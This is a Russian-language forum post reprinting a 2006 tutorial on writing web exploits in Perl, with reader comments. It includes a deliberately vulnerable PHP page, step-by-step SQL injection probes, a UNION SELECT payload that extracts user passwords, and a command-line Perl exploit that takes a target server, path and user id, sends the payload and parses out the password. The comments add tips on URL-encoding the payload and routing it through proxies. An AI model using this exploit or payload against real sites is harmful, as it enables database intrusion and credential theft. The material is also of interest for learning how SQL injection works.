Написание эксплоита для Web в домашних условиях (часть 1-ая) Как вы считаете, написание эксплоита для вэб-приложений – это сложная задача? Думаю, после прочтения этой статьи, вопросов у вас станет меньше. Статья будет разбита на части. В каждой из них будет рассказано о том или ином подходе при написании эксплоитов начиная с простых для однократной SQL-инъекции и заканчивая более сложным для Blind-SQL-инъекции. Для более простого понимания текста, все будет снабжено комментариями. Когда я только начинал писать эксплоиты, передо мной встал вопрос: какой язык выбрать для этих целей. Выбор был между знакомым мне php и старым добрым perl. И я остановил свой выбор именно на perl, хотя я знал его хуже, чем php, но этот язык изначально предназначался для системного программирования, в отличие от php, который все же лучше использовать для web-программирования. Для взаимодействия с протоколом http можно воспользоваться двумя модулями perl: IO::Socket и LWP::UserAgent. Каждый из них имеет свои достоинства и недостатки. Если вам интересно подробнее узнать о принципах работы этих модулей, я рекомендую вам прочитать статью "IO::Socket и LWP: http по нашему". В некоторых случаях бывает удобна комбинация этих модулей. При написании эксплоитов, мы будем использовать модуль IO::Socket для сценариев, отправляющих данные методом GET, а LWP::UserAgent – методом POST. Я надеюсь, что читатель имеет представление о программировании, поэтому принцип действия операторов if, for, while и др. я комментировать не буду. А вот остальные участки кода будут пояснены. Например: Code: #!/usr/bin/perl use IO::Socket; # подключаем модуль $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"localhost", PeerPort=>"80″); #создает сокет, который подключается к серверу localhost по протоколу tcp на порт 80 print $sock "GET / HTTP/1.0\r\n"; # отправляет запрос на получение индексной страницы. Обратите внимание на символы новой строки: они обязательны. print $sock "Connection: close\r\n\r\n"; # закрываем соединение while ($answer = <$sock>) { print $answer; } # так мы сможем прочитать ответ от сервера close($sock); #закрываем сокет Code: #!/usr/bin/perl use LWP::UserAgent; #подключаем модуль $ua = LWP::UserAgent->new; #здесь мы можем задать настройки соединения. Если ничего не указано (как в данном случае), будут использованы настройки по умолчанию. my $req = HTTP::Request->new(POST=>"http://localhost/index.php"); # создаем запрос: куда будем посылать и каким методом. $req->content_type('application/x-www-form-urlencoded'); # тип того, что передаем $req->content("id=1″); # что передаем my $res = $ua->request($req); # $result = $res->content; # читаем ответ print $result."\r\n"; Простая SQL-инъекция при использовании методов GET и POST. С основами сетевого программирования разобрались. Настал черед написать наш первый эксплоит. Экспериментировать мы будем на таком сценарии: Code: <? $user = 'root'; $pass = ''; $server = 'localhost'; $db = 'hackme'; echo "<html> <head> <title>HackMe</title> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"> </head> <body>"; if (isset($_GET['id'])) { $id = $_GET['id']; mysql_connect($server,$user,$pass) or die("Failed to connect"); mysql_select_db($db) or die("Failed to select db"); $query = "SELECT name, email FROM users WHERE id='$id'"; $result = mysql_query($query); if(mysql_num_rows($result)!='1') { echo "Такого пользователя в базе нет"; } else { echo "<table width=\"100%\" border=\"0\"><tr>"; $array = mysql_fetch_array($result); echo "<td>".$array['name']."</td>"; echo "<td>".$array['email']."</td>"; echo "</tr></table>"; } } echo " Выберите id пользователя <br>[<a href=http://localhost/hackme.php?id=1>1</a>] || [<a href=http://localhost/hackme.php?id=2>2</a>]<br>[<a href=http://localhost/hackme.php>Home</a>] </body> </html> "; ?> Ничего сложного: по параметру id, пришедшему от пользователя, происходит выбор записи из базы данных и вывод результата на экран. Данные передаются методом GET, т.е. мы можем влиять на них из адресной строки браузера. Пока серверу передаются данные так, как задумал программист, то все идет нормально: Code: Init DB hackme SELECT name, email FROM users WHERE id='1' Quit Result -> Admin [email protected] Code: Init DB hackme SELECT name, email FROM users WHERE id='2' Quit Result -> Hacker [email protected] Если передать параметру id значение 5, то в ответ мы получим, что "Такого пользователя в базе нет". А что будет, если мы подставим в запрос кавычку? Code: Init DB hackme Query SELECT name, email FROM users WHERE id='5'' Quit Result -> Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in D:\Server\www\hackme.php on line 24 Такого пользователя в базе нет Так и есть: сценарий подвержен SQL-инъекции. Попробуем узнать версию сервера MySQL для планирования дальнейших действий. Code: Init DB hackme Query SELECT name, email FROM users WHERE id='1' and version()>4/*' Quit Result -> Admin [email protected] Версия сервера базы данных явно больше 4, нам это и надо, чтобы в дальнейшем "склеить" запрос с помощью UNION, чтобы "вытянуть" из базы данных пароль пользователя. В принципе, нам совсем не обязательно писать для этих целей специальную программу, все можно сделать руками в строке браузера. Но для понимания основ написания эксплоитов мы напишем программку, которая сделает все за нас. Сперва мы составим скелет нашего эксплоита: Code: #!/usr/bin/perl use IO::Socket; # Подключаем библиотеку, с которой будем работать. Мы договорились, что для отправления данных методом GET будем использовать IO::Socket. if (@ARGV < 3) { &howto; } # Смотрим, сколько аргументов пришло с консоли. Если их количество меньше 3, то переходим к процедуре howto. # Читаем пришедшие от пользователя аргументы. Так как это массив, то для обращения к его элементам нужно указывать соответствующий индекс $server = $ARGV[0]; # Первый аргумент - сервер $path = $ARGV[1]; # Второй - путь $member_id = $ARGV[2]; # Третий – ID $server =~ s!(http:\/\/)!!; # Регулярное выражение, которое вырезает из строки $server http:// $request = 'http://'; # Создаем запрос. Сперва http:// $request .= $server; # затем, справа приписываем сервер $request .= $path; # и директорию $port = "80"; # порт объявляем по умолчанию. Если вэб-сервер работает на другом порту, измените это значение. # Когда все данные получены, выведем пользователю информацию, которую он ввел print "Server : $server\r\n"; # Сервер print "Path : $path\r\n"; # Путь print "ID for search: $member_id\r\n"; # ID print "Searching password... Please, be patient"; # Ну и для приличия напишем, что процесс пошел sub howto() # Процедура howto, которая вызывается, если нет нужного количества аргументов, своеобразный хэлп { print q( SQL injection exploit Need MySQL > 4.0 ============================== HowTo: w4g.pl [server] [/folder/] [member_id] where: [server] - host where script installed [/folder/] - folder where script installed [member_id] - user id for search e.g. w4g.pl 127.0.0.1 /dir/ 1 =============================== coded by w4g.not_null ); exit(); # Обязательно нужно выйти в процедуре, иначе наш экплоит начнет работу даже при отсутствии нужного количества аргументов. } "Скелет" готов. Теперь нужно сделаеть его "начинку". Будем считать, что мы знаем структуру таблицы: имя таблицы users Code: Поле Тип id int(11) name char(32) password char(32) email char(32) Не трудно составить запрос, который выведет нам пароль интересующего пользователя: Code: 5' UNION SELECT name, password FROM users WHERE id='1'/* Комментарий (/*) добавлен на тот случай, если после уязвимого параметра есть еще какие-нибудь запросы. Нам они не нужны, поэтому мы их отбрасываем. Сервер MySQL нормально понимает незакрытый комментарий. Теперь подготовим наш запрос к отправке. Смотрим первую часть статьи и находим там, в примере, строчку, в которой происходит формирование запроса: Code: $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"80″); print $sock "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n"; print $sock "Connection: close\r\n\r\n"; Готово. Следующим этапом нам нужно найти среди пришедшего результата нужные нам данные: Code: while ($answer = <$sock>) # Пока приходит ответ от сервера.. { if($answer =~/<td>(.+?)<\/td><td>([0-9A-Z]+?)<\/td>/s) # и если в нем содержится строка, подходящая по шаблону… { print "\r\n[!] PASSWORD FIND =)\r\n"; # то пароль можно считать найденным print "[+] $1:$2″; # и вывести его. } } close($sock); #закрываем сокет Все, эксплоит готов. Теперь его можно опробовать. — В следующих частях мы напишем эксплоиты для сценариев, работающих с уязвимыми параметрами, получаемыми методом POST. Автор: ©w4g.not null | Security Bunker Team™ | 2006
Неплохая статья Вставлю свои 5 копеек 1)GET / HTTP/1.0 Connection: close последнее не обязательно согласно протоколу HTTP версии 1.0 2) "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n"; Хм.. было бы кстати закодировать в urlencode() все это хозяйство, потому что если встретятся символ &, серверу это не понравится 3) кстати, было бы нелишним рассмотреть интересующий новичков вопрос - использование прокси в эксплоитах. хотя бы банально http-прокси с запросом GET http://site.com/ Ну вроде все, что хотел сказать.
$proxy=''127.0.0.1:81; $browser->proxy('http', "http://$proxy" ) if $proxy; для lwp а для ио сокет, там просто соединяешься с проксиком, а в пакет суешь свой сайт
начал читать - вспомнилось, что копирайты нуля вроде... в середине настойчивой чувство - ЧИТАЛ. дочитал - копирайты нуля :d и нужно было постить в чужие статьи ИМХО. ЗЫ откуда статья? фур стал добрее?!?!???
Статью нашёл на компе, добавил в статьи, потому что этой статьи нет даже на сайте оригинала. Имеется продолжение даной темы...